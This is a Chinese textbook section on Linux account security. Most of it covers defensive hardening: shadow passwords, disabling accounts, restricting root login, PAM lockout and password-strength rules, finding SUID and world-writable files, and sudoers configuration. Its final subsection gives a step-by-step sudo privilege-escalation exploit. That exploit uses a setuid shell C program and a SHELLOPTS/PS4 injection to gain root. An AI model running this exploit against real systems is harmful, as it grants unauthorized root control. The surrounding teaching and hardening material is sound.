4.4与用户和组账户有关的安全问题
在进入Linux系统之前,所有用户都需要登录,也就是说,用户需要输入用户账号和密码,通过系统的验证之后,用户才能进入系统。本章探讨的基本安全性问题可从以下几个途径得以解决。
4.4.1 密码及账户安全
1.密码安全
我们已经知道,早期的Linux将加密后的密码存放在“/etc/passwd”文件中。由于passwd文件能被所有用户读取,考虑到一般的用户可以利用现成的密码破译工具以穷举法猜测出密码,后来采取的办法是将passwd文件中原有的密码字段转移到影子文件/etc/shadow中,该文件默认只允许超级用户root读取。用户在登录时需要输入的密码经计算后与shadow文件中对应部分相比较,符合则允许登录,否则拒绝用户登录。
尽管shadow中保存的是利用MD5算法加密后的密码,但仍存在被暴力破解的可能。如果在相当长的一段时期内不需要添加新的用户和修改用户密码,建议为shadow文件添加不可更改属性,命令如下:
# chattr +i /etc/shadow
此后,连root自身都无法修改此文件。在必要时,应临时去掉此属性:
# chattr -i /etc/shadow
2.账户安全
(1)禁止用户登录系统。
一台服务器上往往同时开启多种服务,这些服务默认使用系统中的账户进行认证,因此任何一种服务的疏忽导致的用户密码泄露都会危及整个系统的安全性。一种简单有效的解决方案是,只允许服务账户连接相应的服务器,而禁止登录系统。下面列举几种实现方法。
◇ 不设置密码。
将“/etc/passwd”或“/etc/shadow”文件中的密码字段设置为“!!”。
◇ 使账户无效。
在“/etc/passwd”文件中的用户名字段前加“#”。
◇ 锁定账户。
将“/etc/shadow”文件中的密码字段前加“!”。
◇ 锁定密码。
将“/etc/shadow”文件中的密码字段前加“!!”。
◇ 改变登录的shell。
在“/etc/passwd”文件中设置默认的shell为“/sbin/nologin”或者“/bin/false”。
◇ 设置账户或密码已经过期。
(2)禁止root从其他终端登录。
Linux中最重要的账户就是超级用户——root,它拥有系统管理的最高权限,因而容易被黑客利用来破坏系统安全。我们应严格限制root只能在某一个终端登录。解决方案如下:
编辑“/etc/securetty”文件(其中列出了允许root用户登录的所有的终端),在不需要登录的TTY设备前添加“#”,禁止从该TTY设备进行root登录。
(3)禁止root账号远程登录。
在Linux系统中,计算机安全系统建立在身份验证机制上。如果root口令被盗,系统将会受到侵害,尤其在网络环境中,后果更不堪设想。因此限制用户 root 远程登录,对保证计算机系统的安全,具有实际意义。
【范例】 限制root通过SSH远程登录,则需要修改配置文件“/etc/ssh/sshd_config”,查找到“#PermitRootLogin yes”这一行,最终修改该行为“PermitRootLogin no”,如图4-18所示。
图4-18 修改配置文件
保存sshd_config,然后重启SSH服务:
# service sshd restart
在客户端以root账号方式登录到目标主机,会发现系统显示“Access denied”,说明root账号已经无法登录了。
(4)删除不必要的特殊账户。
Linux系统中默认内建了很多对系统具备一定管理权限的账户,如果它们的口令遭到破解,那么黑客也就获得了对系统的部分管理权限。因此,必须要删除一些特殊账户。这些特殊账户包括lp、shutdown、halt、news、uucp、operator、games、gopher等。
采取逐个删除的办法非常麻烦,可以通过脚本来实现。在一个文本文件中编辑以下行:
#! /bin/bash userdel lp groupdel lp userdel shutdown groupdel shutdown …
保存该文本文件并为之赋予执行权限,然后以“./文件名”的方式执行即可。
4.4.2 PAM认证模块
Linux中许多服务自身无认证功能。Linux统一把这个任务交给一个中间的认证代理机构——PAM(Pluggable Authentication Modules,插入式认证模块)来完成。PAM采用封闭包的方式,将所有与身份认证有关的逻辑全部隐藏在模块内,可以用来动态地改变身份验证的方法和要求。因此它是采用影子文件的最佳帮手。Linux-PAM认证的工作流程如图4-19所示。
图4-19 PAM认证过程
当用户访问一个启用PAM的服务时,服务程序首先将请求发送到PAM认证模块(如libpam.so文件)。不同服务的PAM认证模块是不一样的。接着,PAM认证模块根据服务的类型在“/etc/pam.d/”目录下选择一个对应的服务文件。该服务文件专门定义了每种服务需要使用哪些模块、如何使用。如果要改变PAM的认证过程,应首先改变与之对应的服务文件。
PAM还有很多安全功能:它可以将传统的DES改写为其他功能更强的加密方法,以确保用户密码不会轻易地遭人破译;它可以设定每个用户使用计算机资源的上限;它甚至可以设定用户的上机时间和地点。Linux系统管理员只需花费几小时去安装和设定PAM,就能大大提高Linux系统的安全性,把很多攻击阻挡在系统之外。
【范例】 禁止普通用户通过su命令变为root用户。
尽管能禁止root从其他终端登录,但远程用户仍然有机会使用“/bin/su –”来成为root,获得系统管理员权限。下面是解决方案。
编辑“/etc/pam.d/su”,将如图4-20所示的两行语句的注释取消。
图4-20 修改“/etc/pam.d/su”文件
此后若希望用户zhang3能切换为root,则必须将zhang3加入wheel组,命令如下:
# gpasswd -a zhang3 wheel
【范例】 配置策略锁定多次尝试登录失败的用户。
锁定多次尝试登录失败的用户,能够有效防止针对于系统用户密码的暴力破解,配置策略锁定多次尝试登录失败的用户,其带来的最大好处便是让“猜”密码包括部分暴力破解密码的方式失去意义。实现方法如下:
# vi /etc/pam.d/system-auth 在system-auth文件的auth部分增加一行,如图4-21所示。 auth required /lib/security/pam_tally.so onerr=fail no_magic_root
图4-21 修改配置文件
在system-auth文件的account部分增加如下一行,含义为:尝试密码出现错误超过3次,则锁定账号,如图4-22所示。
account required /lib/security/pam_tally.so deny=3 no_magic_root reset
然后保存并关闭system-auth文件。在客户端使用test用户登录目标主机,试输入错误密码超过3次以上。然后再使用账号test和正确的密码登录,会发现访问仍然被拒绝,说明此时test账号已经被锁定,无法登录,如图4-23所示。
对test用户解锁的方法是:关闭当前Putty工具窗口,重新运行Putty工具,以root身份登录目标主机,执行如下命令:
# pam_tally --user test --reset
关闭当前Putty工具窗口,重新运行Putty工具,再次以test用户和正确的密码登录目标主机,会发现此时test可以登录目标系统主机了。
图4-22 修改配置文件
图4-23 账户锁定策略生效
【范例】 配置策略增加设置密码强度。
加强密码设置的强度,可以增加密码破译的难度,降低系统被破坏的可能性。设置的额方法如下:
# vi /etc/pam.d/system-auth
在passwd部分查找到如下一行:
password requisite /lib/security/$ISA/pam_cracklib.so retry=3
将该行修改为如下内容,设定密码强度的要求为:至少8位,数字、小写和大写字母都至少有一位,尝试3次,如果密码强度不够,系统自行退出修改密码程序,如图4-24所示。
password required /lib/security/$ISA/pam_cracklib.so retry=3 dcredit=-1 ucredit=-1 lcredit=-1 minlen=8
图4-24 修改配置文件
在客户端运行Putty工具以test用户登录目标加固主机,执行修改密码命令:
$passwd
尝试先用不符合强度要求的新密码尝试,会发现系统由错误提示并禁止修改密码,直到密码强度符合要求,才会提示成功(需要再输入一遍确认),如图4-25所示。
图4-25 设置符合策略的强密码
4.4.3 设置严格的权限
对文件和目录设置权限能够有效保证敏感数据的机密性。原则是:将文件或目录的权限设置到最低,然后基于需要逐一放开。
一个全体可写的文件往往是病毒和木马的攻击目标,即使不被攻击,也可能被不断写入直到将硬盘填满,从而影响服务器的正常运行。特别地,若此类文件是可执行的,在执行中将会有很高的风险,因此应坚决杜绝服务器上存在此类公共文件。
特别要当心设置了SUID(第1个“x”位被改为“s”)的程序,由于普通用户在执行此类程序时具有宿主的权限,也就是说,如果此类程序属于管理员所有,那么普通用户在执行时可以暂时获得管理员的权限。因此它们会使非法命令执行和权限提升,从而威胁系统安全。一个典型的例子是,每个用户都允许修改自己的密码,但是修改密码时又需要root权限,因此,用于修改用户密码的passwd程序就设置了SUID位:
另一个典型的例子是,每个用户都可以运行su命令来切换到其他用户:
系统中存在的上述几种易被攻击的目标,无异于隐匿在我们身边的定时炸弹,管理者需要经常检查并及时应对。下面是定位和处理此类文件的方法。
(1)查找有SUID的文件,并且把它们的名字保存在 /root/stickyfiles 中:
# find / -type f -perm +4000 2> /dev/null > /root/stickyfiles
(2)查找任何人都可以写入的文件,把它们的名字保存在 /root/world.writalbe.files中:
# find / -type f -perm -2 > /root/world.writalbe.files
(3)查看“/root/stickyfiles”和“/root/world.writable.files”中有哪些文件。建议删除不需要的文件:
# rm file // 删除file
或者使用chmod命令去掉SUID/SGID位:
# chmod u-s file // 去掉file的SUID位
4.4.4 关于sudo
1.sudo简介
sudo是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,因此sudo不是对shell的一个代替,它是面向每个命令的。它的特性主要有这样几点:
◇ sudo能够限制用户只在某台主机上运行某些命令。
◇ sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
◇ sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张有效期为5分钟的票(这个值可以在编译sudo时改变)。
◇ Sudo的配置文件是sudoers文件,它允许系统管理员集中地管理用户的使用权限和使用的主机。它所存放的位置默认是在“/etc/sudoers”,属性必须为0440。
2.配置sudo
用visudo编辑sudoers配置文件,不过也可以直接通过修改sudoers文件实现。在范例文件sample.sudoers中有一个相当详细的例子可以参考。
#第一部分:用户定义,将用户分为FULLTIMERS、PARTTIMERS和WEBMASTERS三类。
User_Alias FULLTIMERS = tom User_Alias PARTTIMERS = jack, test User_Alias WEBMASTERS = www,alice
#第二部分,将操作类型分类。
Runas_Alias OP = root, operator Runas_Alias DB = oracle, sybase
#第三部分,将主机分类。
Host_Alias LCNETS = 192.168.0.0/24 Host_Alias SERVERS = master, mail, www, ns
#第四部分,定义命令和命令地路径。
Cmnd_Alias KILL = /usr/bin/kill Cmnd_Alias SHUTDOWN = /usr/sbin/shutdown Cmnd_Alias HALT = /usr/sbin/halt, /usr/sbin/fasthalt root ALL = (ALL) ALL operator ALL = KILL, SHUTDOWN test ALL = /usr/bin/su operator
在此文件中列出来的用户都能执行相应的命令,比如用户test可以执行:
$ su operator
而用户Operator可以执行:
$ shutdown –r now
但执行这些特殊命令的前提是需要使用sudo来调用,结果上面两条命令如下:
$ sudo su operator $ sudo shutdown –r now
3.关于sudo的漏洞的讨论
从某种意义上讲,sudo是一个Linux系统工具漏洞,经常被利用来对Linux本地账户实施提权,其危害高,必须引起重视。下面描述了利用sudo对普通用户test提权的一般过程。
(1)用普通账户 test(对此账户进行提权)登录远程主机,切换到c shell,命令如下:
$ csh
(2)创建辅助脚本及提权源代码。
$ cat > ex.sh << _EOF // 创建辅助脚本
辅助脚本ex.sh代码内容如下:
# ! /bin/bash -x echo $ cat > ex.c << _EOF // 创建提权源代码文件
账户提权文件ex.c代码内容如下:
#include <stdio.h> int main (void) { setuid(0); system("/bin/sh"); return(0); }
(3)准备辅助脚本,编译提权代码。
① 为辅助脚本ex.sh文件添加可执行权限,命令如下:
$ chmod u+x ex.sh
② 编译提权源代码文件,命令如下:
$ gcc -o ex ex.c
③ 通过如下命令查看文件属性:
$ ls -al ex.sh $ ls -al ex
从结果可看出,ex.sh 脚本具有了执行权限,ex可执行程序的属主为 test,组也为test。
(4)设置环境变量。
使用如下命令,利用sudo 的漏洞改变ex可执行程序的属主和属组,同时为其设置suid:
$ setenv SHELLOPTS xtrace $ setenv PS4 '$(chown root:root ex;chmod u+s ex)' $ sudo ./ex.sh
使用如下命令验证提权文件ex的文件属性,此时,ex 可执行程序的属主已改变为 root,属组也改变为root,同时设置了s位。
$ ls -al ex
说明:若执行“sudo ./ex.sh”后提示输入密码,则输入 test 账户的密码。
(5)执行如下命令进行提权:
$ ./ex
再使用如下命令进行验证:
$ id
结果如图4-26所示,当前的uid已经是0了,说明获得了root shell。
图4-26 用户test提权成功